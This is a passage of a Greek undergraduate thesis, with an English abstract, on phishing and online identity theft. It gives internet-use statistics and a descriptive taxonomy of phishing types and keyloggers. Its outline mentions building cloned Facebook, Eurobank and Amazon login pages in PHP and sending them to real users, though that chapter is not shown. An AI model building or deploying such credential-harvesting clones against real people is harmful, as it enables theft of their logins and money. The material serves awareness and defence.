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ΠΕΡΙΛΗΨΗ 

H παρούσα Πτυχιακή εργασία έχει ως θέµα «Ζητήµατα κλοπής και διαφύλαξης ταυτότητας 

στο διαδίκτυο». Η ιδιαίτερα διαδεδοµένη χρήση του διαδικτύου για την κάλυψη πολλαπλών 

ανθρώπινων αναγκών είναι γεγονός. Η πλοήγηση σε ιστοσελίδες ποικίλου περιεχοµένου, η 

ενηµέρωση, η ψυχαγωγία, οι ηλεκτρονικές συναλλαγές, το e-εµπόριο και η χρήση των µέσων 

κοινωνικής δικτύωσης είναι µόνο ορισµένες από τις υπηρεσίες που µπορεί ο χρήστης να 

λάβει από το διαδικτυακό ιστοχώρο. Η εξέλιξη και η αύξηση χρήσης του διαδικτύου γρήγορα 

αποτέλεσαν πηγή για παράνοµες δράσεις προκειµένου ορισµένοι επιτήδειοι να έχουν 

οικονοµικό όφελος. Έτσι, πολύ γρήγορα, έκαναν την εµφάνισή τους οι λεγόµενες 

«ηλεκτρονικές απάτες».  

Οι ηλεκτρονικές απάτες αφορούν επιθέσεις του διαδικτυακού χώρου οι οποίες 

πραγµατοποιούνται στα ηλεκτρονικά συστήµατα (υπολογιστές, tablets, smartphones) µεταξύ 

απλών χρηστών και κακόβουλων. Οι κακόβουλοι χρήστες, ονοµαζόµενοι και hackers, 

βρίσκουν πρόσφορο έδαφος για να δράσουν έχοντας ως απώτερο σκοπό την απόσπαση 

χρηµατικών ποσών. Για να το επιτύχουν αυτό, αναπτύσσουν και εφαρµόζουν κακόβουλα 

λογισµικά, τα οποία και αποστέλλουν σε µη πληροφορηµένους σωστά χρήστες. Τα λογισµικά 

αυτά έχουν όµοια παρουσίαση µε ιστοσελίδες και εφαρµογές που χρησιµοποιεί ο απλός 

χρήστης. Ο λόγος δηµιουργίας των λογισµικών είναι η παραπλάνηση των πλοηγών, η επιτυχή 

υποκλοπή προσωπικών τους στοιχείων και η µετέπειτα χρήση τους µε δόλιο τρόπο προς 

όφελός των hackers. Η πιο διαδεδοµένη µορφή ηλεκτρονικής απάτης καλείται «Phishing» και 

η παρούσα πτυχιακή εργασία θα εστιαστεί στη µελέτη αυτής.  

Η “phishing” επίθεση πραγµατοποιείται µε πάρα πολλούς τρόπους που συνεχώς εξελίσσονται 

ακολουθώντας την τάση και τις νέες εφαρµογές του διαδικτύου. Γι’ αυτό το λόγο στις µέρες 

µας µιλούµε και για phishing επιθέσεις µέσω των «έξυπνων συσκευών». Θύµατα 
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ηλεκτρονικών επιθέσεων εκτός από τους απλούς χρήστες συχνά είναι και εταιρίες ή 

οργανισµοί. Στην τελευταία περίπτωση, η µαζική υποκλοπή ευαίσθητων πληροφοριών εκτός 

από τεράστιες οικονοµικές ζηµίες προξενεί και ζητήµατα αναξιοπιστίας, απώλειας καλής 

φήµης και αποχώρησης πελατών. Για την αντιµετώπιση του ζητήµατος, όπως τονίζεται κι 

εντός της εργασίας, είναι η λήψη µέτρων και η πρόληψη.   
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ABSTRACT 

This thesis project is entitled « Issues of identity theft and safeguard online." The widespread 

use of the Internet covering multiple human needs is a fact. Navigation on variable content 

websites, information, entertainment, e-trade, e-commerce and the use of social media are just 

some of the services that the user can receive from a web site. The evolution and growth of 

internet use quickly became a source of illegal actions for some to have economic benefit. 

Thus, pretty quickly, the so-called "online scams" appeared. 

Online scams involve attacks on web space which are held through computer systems 

(computers, tablets, smartphones) between ordinary users and malicious ones. Malicious 

users, and so-called hackers, having as ultimate goal the posting of funds, find fertile ground 

to act. In order to achieve this, they develop and implement malware, which is send to non-

properly informed users. These softwares have similar presentation to websites and 

applications used by a normal user. The reasons for creating the software are misleading of 

pilots, the successful interception of their personal information and later usage in a fraudulent 

manner to benefit the hackers. The most common form of online fraud is called «Phishing» 

and this thesis will focus on that hereby. 

The "phishing" attack is carried out with too many ways, which are constantly evolving, 

following the trend and new web applications. For this reason, nowadays, phishing attacks 

through "smart devices" are well-known too. Victims of electronic attacks are often 

companies or organizations, apart from ordinary users. In that case, the massive theft of 

sensitive information, except of enormous economic losses caused and unreliability issues, 

arises loss of reputation and customer withdrawal. To deal with the issue, as highlighted also 

in the study, measures and prevention moves have to be arranged. 
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ΣΥΝΤΟΜΗ ΠΕΡΙΓΡΑΦΗ ΠΤΥΧΙΑΚΗΣ 

Η παρούσα εργασία εκπονήθηκε στα πλαίσια ολοκλήρωσης σπουδών του Τµήµατος 

Μηχανικών Πληροφορικής του Τεχνολογικού Εκπαιδευτικού Ιδρύµατος ∆υτικής Ελλάδας. 

Έχει ως τίτλο «Ζητήµατα κλοπής και διαφύλαξης ταυτότητας στο διαδίκτυο» εστιάζοντας 

στη µορφή ηλεκτρονικής απάτης Phishing. Η παρουσίαση του «phishing» φαινοµένου, η 

επίδειξη τέτοιων επιθέσεων και οι τρόποι αντιµετώπισής τους αποτελούν τους κύριους 

στόχους και πτυχές της εργασίας. 

Πιο συγκεκριµένα, η Πτυχιακή εργασία απαρτίζεται από δύο κύρια µέρη. Το πρώτο µέρος 

αφορά τη θεωρητική προσέγγιση του θέµατος «Phishing» και το δεύτερο, την πρακτική 

εφαρµογή phishing επίθεσης σε επιλεγµένους ιστοχώρους. Το θεωρητικό υπόβαθρο 

περιλαµβάνει τρία κεφάλαια. Στο πρώτο, αναλύονται η χρήση του διαδικτύου στη σηµερινή 

εποχή και οι κίνδυνοι που παραµονεύουν σε αυτό. Η παράθεση ποσοτικών και στατιστικών 

στοιχείων θεωρήθηκε απαραίτητη στη καλύτερη αποσαφήνιση του φαινοµένου της 

ηλεκτρονικής απάτης. Στο δεύτερο κεφάλαιο, παρουσιάζονται εκτενώς οι πιο διαδεδοµένες 

µορφές «phishing» απάτες, µαζί τον τρόπο που αυτές εισέρχονται στο προσωπικό ή εταιρικό 

υπολογιστικό σύστηµα του χρήστη. Στο τρίτο κεφάλαιο, παραθέτονται οι τρόποι 

αντιµετώπισης και πρόληψης των κακόβουλων λογισµικών phishing, βασιζόµενοι σε 

επιστηµονικές µελέτες και σχετικά άρθρα.  

Η πρακτική εφαρµογή phishing επιθέσεων, περιλαµβάνεται στο τέταρτο κεφάλαιο της 

Πτυχιακής εργασίας. Αυτή, αφορά τη δηµιουργία ιστοσελίδων οι οποίες φαινοµενικά είναι 

πανοµοιότυπες µε τις επίσηµες, µε τη χρήση κατάλληλων προγραµµάτων, γραµµένα κυρίως 

σε PHP, γλώσσα προγραµµατισµού. Οι κακόβουλες ιστοσελίδες προέρχονται από τον τοµέα 

των social media, δηλαδή του Facebook, από τον τραπεζικό κλάδο, δηλαδή της γνωστής 

τράπεζας Eurobank, και από το ηλεκτρονικό εµπόριο, δηλαδή της Amazon. Και στις τρεις 
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περιπτώσεις, στόχος των πλαστών ιστοσελίδων ήταν η εξέταση του βαθµού παραπλάνησης 

των πλοηγών. Η αποστολή των εικονικών ιστοσελίδων σε πραγµατικούς χρήστες, 

παρουσιάζει ιδιαίτερο ενδιαφέρον και βοηθά στη διεξαγωγή συµπερασµάτων σχετικά µε τις 

ηλεκτρονικές απάτες του διαδικτύου και το επίπεδο πρόληψης που χρειάζεται ένας χρήστης 

να διαθέτει. Τα µέτρα προφύλαξης µπορεί να περιλαµβάνουν antivirus, ή άλλα λογισµικά 

προγράµµατα, ακόµη και απλές συµβουλές που καλό είναι να εφαρµόζονται ανά περιόδους.  
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ΕΥΧΑΡΙΣΤΙΕΣ 

 

Το τέλος της παρούσας πτυχιακής εργασίας σηµατοδοτεί και το τέλος των προπτυχιακών µας 

σπουδών. Σε αυτό το σηµείο αισθανόµαστε την ανάγκη να απευθύνουµε ευχαριστίες στα 

άτοµα που µας βοήθησαν και χωρίς τη βοήθειά τους πιθανόν να µην ήταν δυνατή η εκπόνησή 

της. 
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συµπαράστασή του ώστε να ολοκληρωθεί η παρούσα εργασία. 

Κλείνοντας, θα θέλαµε να ευχαριστήσουµε από τα βάθη της καρδιάς µας τις οικογένειές µας 

που χωρίς την ψυχική και υλική βοήθειά τους και την αµέριστη συµπαράσταση τους όποτε 

την χρειαζόµασταν, δε θα ήταν δυνατό να ολοκληρώσουµε τις προπτυχιακές µας σπουδές. 
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ΚΕΦΑΛΑΙΟ 1: ΧΡΗΣΗ ΤΟΥ ∆ΙΑ∆ΙΚΤΥΟΥ ΚΑΙ ΗΛΕΚΤΡΟΝΙΚΟΙ 

ΚΙΝ∆ΥΝΟΙ 

Το διαδίκτυο (Internet) αποτελεί το πιο διαδεδοµένο µέσο επικοινωνίας στις µέρες µας. Η 

πληθώρα δυνατοτήτων και επιλογών που προσφέρει στους χρήστες του είναι τεράστιες. 

Ενδεικτικά να αναφέρουµε ότι σύµφωνα µε στοιχεία της Web ID της Focus Bari, πάνω από 

το 70% των Ελλήνων πολιτών ηλικίας 13-74 έχει σήµερα πρόσβαση στο διαδίκτυο, 

«σερφάροντας» παραπάνω από 2,5 ώρες ηµερησίως (1). Μέσα από την ίδια έρευνα βγήκε το 

συµπέρασµα ότι οι κύριοι λόγοι χρήσης του διαδικτύου στην Ελλάδα, από ενηλίκους είναι η 

πρόσβαση στα social media (π.χ. facebook, twitter, κ.α.) και οι ηλεκτρονικές αγορές, ενώ για 

τα παιδιά τα παιχνίδια, η ακρόαση µουσικής και η αναζήτηση πληροφοριών (2). 

Η Ελληνική Στατιστική Αρχή, παρουσιάζει αύξηση πρόσβασης σε διαδίκτυο µεγέθους 46,8% 

την τελευταία πενταετία (2010 –2015) από την κατοικία στην Ελλάδα. Κατά τη ΕΛΣΤΑΤ, οι 

κύριοι λόγοι χρήσης του διαδικτύου από Έλληνες χρήστες είναι η ενηµέρωση (85,4%) και η 

αναζήτηση πληροφοριών (80,4%), η πρόσβαση στα µέσα κοινωνικής δικτύωσης (65,7%), 

χρήση για κλήσεις και βιντεοκλήσεις (Skype, 44,0%), «ανέβασµα» υλικού σε ιστοσελίδες 

(34,8%) κτλ (3). 

 

∆ιάγραµµα 1.1: Πρόσβαση στο διαδίκτυο από κατοικία, 2010-2015 Πηγή:(3) 
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Ωστόσο, παρά την ευεργετικότητα του διαδικτύου έχουν προκύψει και σηµαντικοί κίνδυνοι 

για τους χρήστες. Οι κυριότεροι από αυτούς είναι, η υποκλοπή προσωπικών στοιχείων 

(Phishing), τα ανεπιθύµητα µηνύµατα (Spam), οι ιοί (Virus), ο εθισµός (Internet Addiction), ο 

εκφοβισµός (Cyberbullying), ακόµη και η παραπληροφόρηση ή ζητήµατα ακατάλληλου 

περιεχοµένου για ανήλικους (4,5). Οι απάτες στον κυβερνοχώρο είναι όλο και πιο συχνό 

φαινόµενο, καθώς οι hackers χρησιµοποιούν όλο και πιο εξελιγµένα εργαλεία και µέσα µε 

σκοπό να µολύνουν υπολογιστές και να ανιχνεύσουν τα τρωτά σηµεία των υπολογιστών. Από 

τους παραπάνω, σε σχετικό άρθρο, ως τους πιο κοινότυπους κινδύνους αναφέρονται οι 

ακόλουθοι (6): 

� Phishing, καθώς οι hackers αναγνωρίζουν τους χρήστες ως τους πιο αδύναµους 

κρίκους σε θέµατα µηχανισµών ασφαλείας υπολογιστών. 

� Ξεκλείδωµα κωδικών (“Password Guessing”), λόγω της αδύναµης ισχύς τους από 

τους χρήστες του διαδικτύου. 

� Ευπαθείς διαδικτυακά προγράµµατα περιήγησης (“Web Browser Vulnerabilities”), 

καθώς πολλοί hackers επιλέγουν τη διανοµή malware κώδικα από δικτυακούς τόπους, 

εκτελώντας οι χρήστες κώδικα σε µορφή JavaScript. 

� Usb οδηγοί «επίθεσης» (“Usb Drive Attack Vector”), χρησιµοποιώντας τα ψηφιακά 

µέσα αποθήκευσης, στα οποία είναι αποθηκευµένα κακόβουλο λογισµικό.  

Ενδεικτικά, να αναφερθεί ότι σχεδόν 13 εκατοµµύρια χρήστες του Facebook (στοιχεία του 

2012), έχουν δηλώσει ότι ποτέ δεν γνώριζαν και δεν είχαν χρησιµοποιήσει τα εργαλεία 

απορρήτου της εφαρµογής και 28% αυτά που αναρτούσαν στο προσωπικό τους προφίλ ήταν 

ορατά σε όλους ή σχεδόν σε όλους, σε κοινό ευρύτερο από των φίλων τους (7). Επίσης, σε 

ανάλογο άρθρο αναφέρεται ότι 24% των χρηστών Facebook, δηµοσιεύτηκε ιδιωτικό υλικό 

χωρίς την άδειά τους, ως αποτέλεσµά κακόβουλων ενεργειών (8) και ότι στο 55%  είχαν 
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κοινοποιηθεί προσωπικές πληροφορίες (π.χ. φωτογραφίες) σε άτοµα που δεν γνώριζαν καν οι 

συγκεκριµένοι χρήστες (9). 

Οι ηλεκτρονικές επιθέσεις σε παγκόσµιο επίπεδο (τύπου spam και phishing) είναι σε υψηλό 

ποσοστό για το 2015. Χαρακτηριστικό είναι ότι τη χρονιά του 2015, αυτό κυµάνθηκε στο 

61,9% και µέχρι τον Ιούνιο του ίδιου έτους µειώθηκε στο 52,3% (∆ιάγραµµα 1.2). Ακόµη, 

στις χώρες µε τη µεγαλύτερη προέλευση ηλεκτρονικών επιθέσεων συγκαταλέγονται οι 

Ηνωµένες Πολιτείες Αµερικής µε 14,59%, η Ρωσία µε 7,82% και η Κίνα µε 7,14% (στοιχεία 

2
ου

 τριµήνου, 2015) (∆ιάγραµµα 1.3) (10). 

 

∆ιάγραµµα 1.2: Παγκόσµια ποσοστά spam επίθεσης σε e-mails (2
ο
 τρίµηνο, 2015) Πηγή:(10) 
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∆ιάγραµµα 1.3: Ποσοστιαία κατάταξη χωρών προέλευσης spam επίθεσης (2
ο
 τρίµηνο, 2015) Πηγή: (10) 

Σύµφωνα µε στατιστικά στοιχεία της Kaspersky Security Network, σε σχετική έρευνα 213 

χωρών (από τον Νοέµβριο του 2013 έως τον Οκτώβριο του 2014), εντοπίστηκαν 

6.167.233.068 απειλές και το 44% των διαδικτυακών επιθέσεων προέρχονταν από 

κακόβουλες πηγές των Ηνωµένων Πολιτειών Αµερικής και της Γερµανίας. Αξιοσηµείωτο 

εύρηµα της έρευνας αποτελεί η επίθεση µέσω κινητών συσκευών, τύπου “smartphone”. Στην 

1
η
 θέση από τις χώρες που δέχθηκαν τέτοιου είδους επίθεση είναι η Ρωσία µε 45,7%, η Ινδία 

µε 6,8% κ.α. (Πίνακας 1.1) (11). 

Πίνακας 1.1:  Ποσοστιαία κατάταξη χωρών που δέχτηκαν διαδικτυακή επίθεση Πηγή: (11) 

 



 

5 

 

Όπως είναι λογικό, οι επιθέσεις που καταµετρούνται εξαρτώνται σε µεγάλο βαθµό και από 

τον αριθµό των χρηστών σε µία χώρα. Εποµένως, για να αξιολογηθεί ο βαθµός 

επικινδυνότητας «µόλυνσης» από κακόβουλες εφαρµογές, χρειάζεται να ληφθεί υπόψη ο 

συνολικός αριθµός των εφαρµογών αυτών που επιχειρήθηκαν να εγκατασταθούν. Με βάση 

αυτόν το συλλογισµό, τα στατιστικά στοιχεί του Πίνακα 1 διαφοροποιούνται, κατατάσσοντας 

το Βιετνάµ πρώτο στον κίνδυνο «µόλυνσης» από εγκατάσταση σχετικών εφαρµογών µε 

2,34% και τρίτη την Ελλάδα µε 1,70% (Πίνακας 1.2) (11). 

Πίνακας 1.2: Ποσοστιαία κατάταξη χωρών που εγκατέστησαν κακόβουλες εφαρµογές Πηγή: (11) 
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ΚΕΦΑΛΑΙΟ 2: ΑΠΑΤΗ ΜΟΡΦΗΣ PHISHING 

Το ηλεκτρονικό ψάρεµα ή “Phishing” όπως έχει καθιερωθεί να ονοµάζεται αποτελεί ακόµη 

ένα τρόπο διαδικτυακής εξαπάτησης, µε στόχο να ξεγελάσει τους χρήστες ώστε να δώσουν 

προσωπικά στοιχεία µέσω e-mails ή παραπλανητικών ιστοσελίδων. Ο δέκτης του Phishing, 

εξαπατάται λόγω της ελλιπής προστασίας που του παρέχουν τα ηλεκτρονικά εργαλεία που 

χρησιµοποιεί, είτε λόγω δικής του αµέλειας-άγνοιας να χρησιµοποιήσει όλα τα απαραίτητα 

µέτρα για την ασφαλή περιήγηση του στο internet. Τα παραπλανητικά e-mails αποτελούν 

µορφή phishing απάτης (12).  

Η διαδικτυακή επίθεση µορφής phishing εµφανίστηκε το 1990. Από τότε µέχρι σήµερα έχουν 

εξελιχθεί οι µορφές εµφάνισής του. Οι hackers στέλνοντας ηλεκτρονικά µηνύµατα στο θύµα 

ζητούν ορισµένα προσωπικά του στοιχεία. Τα ηλεκτρονικά µηνύµατα αυτά εµφανίζουν 

παραπλανητικούς συνδέσµους (“link manipulation”) οπού µε µία πρώτη µατιά φαίνονται 

αξιόπιστοι αλλά είναι σχεδιασµένοι κατά τέτοιον τρόπο ώστε να οδηγούν το χρήστη σε 

διαφορετικό ιστοχώρο από αυτόν που παρουσιάζουν. Αυτό είναι πολύ εύκολο αλλάζοντας 

τον html κώδικα. Επίσης, συχνά οι hackers χρησιµοποιούν παρόµοια URLs για τις απάτες 

τους που είναι δύσκολο να ανιχνευτούν όχι µόνο από το χρήστη αλλά κι από τα ειδικά 

προγράµµατα ανίχνευσης phishing επιθέσεων. Τέλος, οι λεγόµενοι “phishers”, για τις 

διαδικτυακές τους απάτες χρησιµοποιούν και τα αναδυόµενα παράθυρα (“pop-up windows”). 

Κύριο όπλο εξαπάτησης των “phishers” είναι η οπτική παραπλάνηση των θυµάτων,  είτε µε 

παραπλανητικές εικόνες, είτε µε παραπλανητικό κείµενο, είτε µε παραπλανητικό design 

(12,13). 

Και σε αυτή την περίπτωση ο χρήστης δεν µπορεί να αντιληφθεί ότι προσβάλλεται από έναν 

άλλο αναξιόπιστο χρήστη. Η συγκεκριµένη µορφή απάτης προσβάλει σε µεγάλο βαθµό όχι 

µόνο απλούς χρήστες αλλά και ολόκληρους οργανισµούς. Έρευνα πραγµατοποίησε η Global 
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Corporate IT Security Risks µαζί µε την Kaspersky Lab το 2013, σε επιχειρήσεις τύπου B2B. 

Στην έρευνα συµµετείχαν και στελέχη του ΙΤ της Ελλάδος και εντοπίστηκε ότι το 69% των 

Ελλήνων στελεχών δέχτηκαν επιθέσεις (ιοί, worms, spyware κ.α.) και συγκεκριµένα οι 

phishing επιθέσεις ανήλθαν στο 46% των επιχειρήσεων, (36% σε παγκόσµιο επίπεδο), 

κατατάσσοντας το phishing την τρίτη πιο διαδεδοµένη απειλή σε εταιρικές εξωτερικές 

επιθέσεις. Σύµφωνα µε την ίδια έρευνα, αποτέλεσµα της phishing επίθεσης για τις 

επιχειρήσεις ήταν η διαρροή δεδοµένων στο 3%, όταν σε παγκόσµιο επίπεδο αυτό 

κυµαινόταν στο 5% για τις µικροµεσαίες επιχειρήσεις και στο 6% στις µεγάλες (14). 

2.1 Μορφές Επίθεσης Τύπου Phishing 

Όπως αναφέρθηκε και στο προηγούµενο κεφάλαιο, οι κίνδυνοι από τη µη ορθολογική χρήση 

του διαδικτύου είναι αρκετοί. Ανεξάρτητα από τον τρόπο αξιοποίησης των υπηρεσιών που 

προσφέρει, οι χρήστες του έρχονται καθηµερινά αντιµέτωποι µε κακόβουλα προγράµµατα, τα 

οποία έχουν τη δυνατότητα να προκαλέσουν ζηµιές τόσο σε προσωπικό επίπεδο, όσο και σε 

επίπεδο λογισµικού και υλικού (hardware, software). Καθώς η τεχνολογία προοδεύει όλο και 

περισσότερες απάτες τύπου phishing εµφανίζονται. Μέχρι στιγµής, αρκετοί τύποι και 

τεχνικές phishing έχουν εντοπισθεί, οι κυριότερες από τις οποίες παρουσιάζονται ακολούθως. 

2.1.1 Ηλεκτρονική αλληλογραφία (“spam e-mail”) 

Το ηλεκτρονικό ταχυδροµείο αποτελεί από τις δηµοφιλέστερες υπηρεσίες που 

χρησιµοποιείται στο διαδίκτυο, καθώς δίνει την δυνατότητα στους χρήστες του να 

επικοινωνούν πολύ οικονοµικά και άµεσα µε άλλους χρήστες. Λόγω της ευρείας διάδοσής 

του, αποτελεί και µία από τις πιο διαδεδοµένες µορφές απάτης. Στην προκειµένη περίπτωση 

χρησιµοποιούνται e-mails, τα οποία ενώ εν πρώτης φαίνονται να διαθέτουν όλα τα 

χαρακτηριστικά γνήσιων ηλεκτρονικών µηνυµάτων, πρόκειται για αποµιµήσεις που 
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περιέχουν κακόβουλα URLS. Μέσω των συγκεκριµένων e-mails, δίνεται η δυνατότητα για 

υποκλοπή προσωπικών δεδοµένων χρηστών. Τέτοια στοιχεία µπορεί να αφορούν τα ονόµατα 

των χρηστών, τους αριθµούς των ατοµικών τους λογαριασµών, τους κωδικούς πρόσβασης 

τους και άλλα διαπιστευτήρια χρηµατοοικονοµικών συναλλαγών (15,16). 

Τα spam e-mails, αφορούν ανεπιθύµητα µηνύµατα ηλεκτρονικού ταχυδροµείου, που συνήθως 

έχουν διαφηµιστικό χαρακτήρα. Τα συγκεκριµένα e-mails εµφανίζονται στον ιστότοπο που 

πλοηγείται ο χρήστης χωρίς να έχει δείξει ενδιαφέρον για προϊόντα ή υπηρεσίες αντίστοιχου 

περιεχοµένου. Οι λεγόµενοι “spammers”, µε προγράµµατα που αναπτύσσουν συνήθως οι 

ίδιοι, υποκλέπτουν ηλεκτρονικές διευθύνσεις από ιστοσελίδες που επισκέπτεται ο χρήστης 

(π.χ. Forums, social media) αλλά και από τον διευθυνσιογράφο των «µολυσµένων» χρηστών. 

Κύριο µέληµά τους είναι η συνολική αποστολή διαφηµιστικών e-mails για τη µαζική 

προώθηση των αγαθών τους. Το περιεχόµενο των emails µπορεί να φαίνεται αθώο, ωστόσο 

το λογισµικό που περιέχουν µπορεί να οδηγήσει σε άλλες κακόβουλες ιστοσελίδες ή να 

δίνεται αυτοµάτως η εντολή για την εκτέλεση κακόβουλων συνηµµένων αρχείων (17–19).   

Τα πλαστογραφηµένα e-mails (“spoofed e-mails”) αποτελούν µεγάλο µέρος των 

ηλεκτρονικών απατών, µέσω των οποίων οι hackers προσποιούνται ότι είναι νόµιµοι 

αποστολείς, παρουσιάζοντας έναν επίσης νόµιµο οργανισµό και για τον οποίον προτρέπουν 

τους χρήστες να δώσουν τα προσωπικά τους στοιχεία. Οι τεχνικές που χρησιµοποιούνται στη 

προκειµένη περίπτωση είναι: 

� η επισύναψη (“Appending”): όπου ο ενδιαφερόµενος (εταιρεία ή φυσικό πρόσωπο) 

διαθέτει µία βάση δεδοµένων µε προσωπικές πληροφορίες χρηστών, µέσω της οποίας 

µπορεί να δηµιουργήσει µία νέα εξωτερική βάση καινούριων πελατών µε συναφή 

χαρακτηριστικά. Με αυτό τον τρόπο, ο ενδιαφερόµενος στέλνει e-mails σε άτοµα που 

δεν έχουν δείξει καν ενδιαφέρον για τα σχετικά αγαθά (20). 
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� η ανεπιθύµητη αλληλογραφία µέσω εικόνας (“Image spam e-mail”): αποτελεί µία 

µέθοδο όπου το κείµενο του µηνύµατος είναι αποθηκευµένο µε µορφή εικόνας .gif ή 

.jpeg. πολλές φορές τα image spam e-mails περιέχουν ανόητο περιεχόµενο που απλώς 

ενοχλεί το χρήστη κατά τη περιήγησή του στον ιστοχώρο (21,22). 

� το «κενό» spam (“Blank spam e-mail”): αφορούν κενά e-mails, χωρίς περιεχόµενο ή 

θέµα µηνύµατος και συχνά αποστέλλονται για τη συλλογή έγκυρων διευθύνσεων από 

έναν παροχέα υπηρεσιών ηλεκτρονικού ταχυδροµείου. Επίσης, συχνά, ένα blank spam 

e-mail µπορεί να φαίνεται στο χρήστη κενό αλλά στην πραγµατικότητα να µην είναι, 

όπως συµβαίνει µε τον ιό τύπου worm, όπου εσωτερικά διαθέτει κώδικα HTML µέσω 

του οποίου αντλεί αρχεία από τον υπολογιστή του χρήστη (23). 

� η “Backscatter” ανεπιθύµητη αλληλογραφία (“Backscatter spam e-mail”): στην 

περίπτωση όπου ανεπιθύµητα e-mails «αναπηδώντας» στέλνονται σε τρίτα πρόσωπα. 

Ο φάκελος του αρχικού αποστολέα είναι εικονικός περιέχοντας την ηλεκτρονική 

διεύθυνση του πραγµατικού θύµατος (20). 

2.1.2 Παραπλανητικό phishing (“deceptive phishing”) 

Η χρήση παραπλανητικών µηνυµάτων ηλεκτρονικού ταχυδροµείου που αναφέρθηκε 

ανωτέρω. Τέτοια µηνύµατα µπορεί να είναι, επαλήθευσης στοιχείων λογαριασµού ή σφάλµα 

που οφείλεται στο ίδιο το σύστηµα. Σε αυτήν την περίπτωση επίθεσης, ο χρήστης καλείται να 

εισάγει εξ αρχής τα προσωπικά του στοιχεία. Για να δελεάσει τα εν δυνάµει θύµατα, συχνά 

χρησιµοποιούνται κίνητρα του τύπου νέες δωρεάν υπηρεσίες. Οι επιτήδειοι, ευελπιστούν οι 

απρόσεκτοι χρήστες να εισέλθουν στους κακόβουλους συνδέσµους και να αντλήσουν τα 

προσωπικά τους δεδοµένα (24).  

Το deceptive phishing εµφανίζεται πολύ συχνά να προέρχεται από χρηµατοπιστωτικά 

ιδρύµατα, ζητώντας από τους πελάτες του να ενηµερώσουν τα στοιχεία τους. Επίσης, σαν 
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δέλεαρ χρησιµοποιούν τον εκφοβισµό, δηλώνοντας στους ενδιαφερόµενους ότι ο 

λογαριασµός τους βρίσκεται σε κίνδυνο, προτρέποντάς τους να εγγραφούν σε ένα πρόγραµµα 

για την προστασία τους και την καταπολέµηση του κακόβουλου λογισµικού. Αφού ο hacker 

αντλήσει τις πληροφορίες που θέλει, εµφανίζεται στο χρηµατοπιστωτικό σύστηµα ως 

χρήστης και µεταφέρει ένα ποσό σε δικό του λογαριασµό. Βέβαια, τις περισσότερε φορές, οι 

hackers, δεν προβαίνουν άµεσα σε οικονοµικές ζηµίες αλλά πωλούν τα προσωπικά στοιχεία 

σε δευτερογενή αγορά (25). Παρακάτω παρουσιάζονται συγκεκριµένα τα συνήθη βήµατα που 

ακολουθούνται σε µία deceptive phishing επίθεση (26,27). 

 

Εικόνα 2.1: Παρουσίαση βηµάτων deceptive phishing επίθεσης Πηγή: (26,27) 

Βήµα 1: Ο phisher δηµιουργεί µία phishing ιστοσελίδα για την επίθεση.  

Βήµα 2: Ο phisher στέλνει παραπλανητικά e-mails µαζικά µε µια «πρόσκληση για δράση», 

που απαιτεί από τον παραλήπτη να εισαχθεί σε ένα σύνδεσµο. 

Βήµα 3: Το εξαπατώµενο θύµα µεταβαίνει στον προτεινόµενο σύνδεσµο και φανερώνει 

ευαίσθητες εµπιστευτικές πληροφορίες. 

Βήµα 4: Η εµπιστευτική πληροφορία µεταδίδεται από ένα phishing διακοµιστή στον phisher. 

Βήµα 5: Ο phisher χρησιµοποιεί τις πληροφορίες ταυτότητας του θύµατος και υποδύεται 

εκείνον προκειµένου να αποκτήσει παράνοµα οικονοµικό όφελος. 
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2.1.3 Κακόβουλα προγράµµατα phishing (“malware-based phishing”) 

Τα κακόβουλα προγράµµατα αναφέρονται σε κακόβουλα λογισµικά που εκτελούνται στον 

υπολογιστή των χρηστών. Το εν λόγω αρχείο εισάγεται ως συνηµµένο ηλεκτρονικού 

ταχυδροµείου ή ως ένα αρχείο που ο χρήστης µπορεί να το «κατεβάσει» από µία ιστοσελίδα. 

Μόλις πραγµατοποιηθεί η λήψη του αρχείου, αυτό παίρνει και εκµεταλλεύεται τα τρωτά 

σηµεία ασφάλειας του υπολογιστή. Η malware – based επίθεση αποτελεί έναν από τους πιο 

κοινούς κινδύνους για τις µικροµεσαίες επιχειρήσεις οι οποίες συχνά αδυνατούν να 

ενηµερώνουν και να αναβαθµίζουν τις λογισµικές τους εφαρµογές (24,25). 

Οι απάτες τέτοιου τύπου εκµεταλλεύονται το φόβο των χρηστών και την άγνοιά τους από 

ιούς και τους ζητούν να αναβαθµίσουν το λειτουργικό τους σύστηµα. Οι phishers, πείθοντας 

τους χρήστες να δώσουν προσωπικά στοιχεία και στοιχεία πιστωτικών καρτών για την αγορά 

εξελιγµένων προγραµµάτων ασφάλειας, τα χρησιµοποιούν προς όφελος τους. Μερικά 

παραδείγµατα Malware – Based Phishing είναι τα ακόλουθα (28): 

� “FBI Warning”: Περιλαµβάνει µία προειδοποίηση ότι το FBI έχει κλειδώσει τον 

υπολογιστή του χρήστη λόγω παράνοµων λήψεων αρχείων και ο χρήστης δεν µπορεί 

να ξεπαγώσει την οθόνη εκτός κι αν καλέσει το συγκεκριµένο αριθµό που του 

υποδεικνύεται.  

� Μήνυµα της µορφής “You Have a Virus”: Ο θύτης µέσω αυτού του παραπλανητικού 

µηνύµατος προτρέπει το θύµα να αγοράσει ένα ή περισσότερα malwares για την 

καταπολέµηση του ιού. Όπως είναι λογικό δεν πραγµατοποιείται αγορά αλλά ο hacker 

εκµαιεύει τα προσωπικά δεδοµένα της πιστωτικής κάρτας του χρήστη. 

� Μήνυµα της µορφής “Download this Program”: και σε αυτή την περίπτωση ο χρήστης 

προσκαλείται να αγοράσει κάποιο πρόγραµµα για την ασφαλή περιήγησή του και την 

ενηµέρωση του λογισµικού του. 
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2.1.4 Καταγραφείς κλειδιών και οθόνης (“keyloggers and screenloggers”) 

Τα key loggers αναφέρονται σε συγκεκριµένα κακόβουλα λογισµικά τα οποία 

παρακολουθούν το τι εισάγεται από το πληκτρολόγιο του θύµατος και στέλνουν αντίστοιχες 

πληροφορίες στον hacker µέσω του διαδικτύου. Οι πληροφορίες αυτές και οι κωδικοί 

πρόσβασης θα αποκρυπτογραφηθούν από τον ενδιαφερόµενο hacker και έτσι έχει τη 

δυνατότητα να εισέλθει σε προγράµµατα περιήγησης των χρηστών. Τέτοια προγράµµατα 

πιθανόν να είναι µικρά ως «βοηθητικά αντικείµενα» τα οποία εκτελούνται αυτόµατα όταν ο 

περιηγητής (browser) ξεκινάει, καθώς και σε αρχεία του συστήµατος, όπως προγράµµατα 

drivers (24,25,29). 

Ένα λογισµικό το οποίο λειτουργεί ως keylogger µπορεί να υλοποιηθεί µε δύο τεχνικές. Είτε 

ως “kernel module” όπου απαιτείται προνοµιακή πρόσβαση στο σύστηµα του χρήστη, είτε ως 

